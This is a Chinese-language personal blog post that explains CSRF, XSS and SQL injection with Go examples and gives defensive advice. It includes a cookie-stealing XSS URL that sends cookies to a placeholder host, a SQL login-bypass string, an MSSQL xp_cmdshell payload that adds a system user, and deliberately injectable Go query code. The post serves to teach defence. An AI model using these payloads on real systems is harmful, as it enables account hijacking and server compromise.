Iawen's Blog

我喜欢这样自由的随手涂鸦, 因为我喜欢风......

Web 的常用攻击方式说明

CSRF攻击

什么是CSRF

CSRF(Cross-site request forgery), 中文名称: 跨站请求伪造, 也被称为: one click attack/session riding, 缩写为: CSRF/XSRF。

那么CSRF到底能够干嘛呢?你可以这样简单的理解: 攻击者可以盗用你的登陆信息, 以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计, 例如通过QQ等聊天软件发送的链接(有些还伪装成短域名, 用户无法分辨), 攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如, 当用户登录网络银行去查看其存款余额, 在他没有退出时, 就点击了一个QQ好友发来的链接, 那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。

所以遇到CSRF攻击时, 将对终端用户的数据和操作指令构成严重的威胁; 当受攻击的终端用户具有管理员帐户的时候, CSRF攻击将危及整个Web应用程序。

CSRF的原理

下图简单阐述了CSRF攻击的思想
图片一

从上图可以看出, 要完成一次CSRF攻击, 受害者必须依次完成两个步骤 :

  1. 登录受信任网站A, 并在本地生成Cookie 。
  2. 在不退出A的情况下, 访问危险网站B。

看到这里, 读者也许会问: “如果我不满足以上两个条件中的任意一个, 就不会受到CSRF的攻击”。是的, 确实如此, 但你不能保证以下情况不会发生:

你不能保证你登录了一个网站后, 不再打开一个tab页面并访问另外的网站, 特别现在浏览器都是支持多tab的。
你不能保证你关闭浏览器了后, 你本地的Cookie立刻过期, 你上次的会话已经结束。
上图中所谓的攻击网站, 可能是一个存在其他漏洞的可信任的经常被人访问的网站。
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作, 所以随时可能成为CSRF的受害者。

CSRF攻击主要是因为Web的隐式身份验证机制, Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器, 但却无法保证该请求是用户批准发送的。

如何预防CSRF

过上面的介绍, 读者是否觉得这种攻击很恐怖, 意识到恐怖是个好事情, 这样会促使你接着往下看如何改进和防止类似的漏洞出现。

CSRF的防御可以从服务端和客户端两方面着手, 防御效果是从服务端着手效果比较好, 现在一般的CSRF防御也都在服务端进行。

服务端的预防CSRF攻击的方式方法有多种, 但思想上都是差不多的, 主要从以下2个方面入手:

  1. 正确使用GET,POST和Cookie;
  2. 在非GET请求中增加伪随机数;

避免XSS攻击

随着互联网技术的发展, 现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容, 就是应用程序能够根据用户环境和用户请求, 输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁, 而静态站点则完全不受其影响。

什么是XSS

XSS攻击: 跨站脚本攻击(Cross-Site Scripting), 为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆, 故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞, 它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者), XSS涉及到三方, 即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后, 攻击者甚至可以假冒合法用户与网站进行交互。

XSS通常可以分为两大类: 一类是存储型XSS, 主要出现在让用户输入数据, 供其他浏览此页的用户进行查看的地方, 包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据, 在页面中显示出来, 攻击者在相关页面输入恶意的脚本数据后, 用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS, 主要做法是将脚本代码加入URL地址的请求参数里, 请求参数进入程序后在页面直接输出, 用户点击类似的恶意链接就可能受到攻击。

XSS目前主要的手段和目的如下:

盗用cookie, 获取敏感信息。
利用植入Flash, 通过crossdomain权限设置进一步获取更高权限; 或者利用Java等得到类似的操作。
利用iframe、frame、XMLHttpRequest或上述Flash等方式, 以(被攻击者)用户的身份执行一些管理动作, 或执行一些如:发微博、加好友、发私信等常规操作, 前段时间新浪微博就遭遇过一次XSS。
利用可被攻击的域受到其他域信任的特点, 以受信任来源的身份请求一些平时不允许的操作, 如进行不当的投票活动。
在访问量极大的一些页面上的XSS可以攻击一些小型网站, 实现DDoS攻击的效果

XSS的原理

Web应用未对用户提交请求的数据做充分的检查过滤, 允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”), 并将未经转义的恶意代码输出到第三方用户的浏览器解释执行, 是导致XSS漏洞的产生原因。

接下来以反射性XSS举例说明XSS的过程: 现在有一个网站, 根据参数输出用户的名称, 例如访问url: http://127.0.0.1/?name=astaxie, 就会在浏览器输出如下信息:

hello astaxie
如果我们传递这样的url: http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;,这时你就会发现浏览器跳出一个弹出框, 这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似, 如下这样的url:

http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;

这样就可以把当前的cookie发送到指定的站点: www.xxx.com。你也许会说, 这样的URL一看就有问题, 怎么会有人点击?, 是的, 这类的URL会让人怀疑, 但如果使用短网址服务将之缩短, 你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来, 不明真相的用户一旦点击了这样的url, 相应cookie数据就会被发送事先设定好的站点, 这样子就盗得了用户的cookie信息, 然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。

更加详细的关于XSS的分析大家可以参考这篇叫做《新浪微博XSS事件分析》的文章。

如何预防XSS

答案很简单, 坚决不要相信用户的任何输入, 并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。

目前防御XSS主要有如下几种方式:

  1. 过滤特殊字符

避免XSS的方法之一主要是将用户所提供的内容进行过滤, Go语言提供了HTML的过滤函数:
text/template包下面的HTMLEscapeString、JSEscapeString等函数

  1. 使用HTTP头指定类型
w.Header().Set("Content-Type","text/javascript")

这样就可以让浏览器解析javascript代码, 而不会是html输出。

SQL注入

什么是SQL注入

SQL注入攻击(SQL Injection), 简称注入攻击, 是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息, 或者利用数据库的特性执行添加用户, 导出文件等一系列恶意操作, 甚至有可能获取数据库乃至系统用户最高权限。

而造成SQL注入的原因是因为程序没有有效过滤用户的输入, 使攻击者成功的向服务器提交恶意的SQL查询代码, 程序在接收后错误的将攻击者的输入作为查询语句的一部分执行, 导致原始的查询逻辑被改变, 额外的执行了攻击者精心构造的恶意代码。

SQL注入实例

很多Web开发者没有意识到SQL查询是可以被篡改的, 从而把SQL查询当作可信任的命令。殊不知, SQL查询是可以绕开访问控制, 从而绕过身份验证和权限检查的。更有甚者, 有可能通过SQL查询去运行主机系统级的命令。

下面将通过一些真实的例子来详细讲解SQL注入的方式。

考虑以下简单的登录表单:

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陆" /></p>
</form>

我们的处理里面的SQL可能是这样的:

username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"

如果用户的输入的用户名如下, 密码任意

myuser’ or ‘foo’ = ‘foo’ –

那么我们的SQL变成了如下所示:

SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

在SQL里面–是注释标记, 所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。

对于MSSQL还有更加危险的一种SQL注入, 就是控制系统, 下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。

 sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)

如果攻击提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' –作为变量 prod的值, 那么sql将会变成

sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"

MSSQL服务器会执行这条SQL语句, 包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话, 攻击者就可以获得一个系统帐号来访问主机了。

虽然以上的例子是针对某一特定的数据库系统的, 但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞, 只要使用不同方法, 各种数据库都有可能遭殃。

如何预防SQL注入

也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此, 但没人能保证攻击者一定拿不到这些信息, 一旦他们拿到了, 数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库, 比如论坛程序, 攻击者就很容易得到相关的代码。如果这些代码设计不良的话, 风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。

这些攻击总是发生在安全性不高的代码上。所以, 永远不要信任外界输入的数据, 特别是来自于用户的数据, 包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样, 就算是正常的查询也有可能造成灾难。

SQL注入攻击的危害这么大, 那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。

严格限制Web应用的数据库的操作权限, 给此用户提供仅仅能够满足其工作的最低权限, 从而最大限度的减少注入攻击对数据库的危害。
检查输入的数据是否具有所期望的数据格式, 严格限制变量的类型, 例如使用regexp包进行一些匹配处理, 或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
对进入数据库的特殊字符(’"\尖括号&*;等)进行转义处理, 或编码转换。Go 的text/template包里面的HTMLEscapeString函数可以对字符串进行转义处理。
所有的查询语句建议使用数据库提供的参数化查询接口, 参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中, 即不要直接拼接SQL语句。例如使用database/sql里面的查询函数Prepare和Query, 或者Exec(query string, args …interface{})。
在应用发布之前建议使用专业的SQL注入检测工具进行检测, 以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具, 例如sqlmap、SQLninja等。
避免网站打印出SQL错误信息, 比如类型错误、字段不匹配等, 把代码里的SQL语句暴露出来, 以防止攻击者利用这些错误信息进行SQL注入。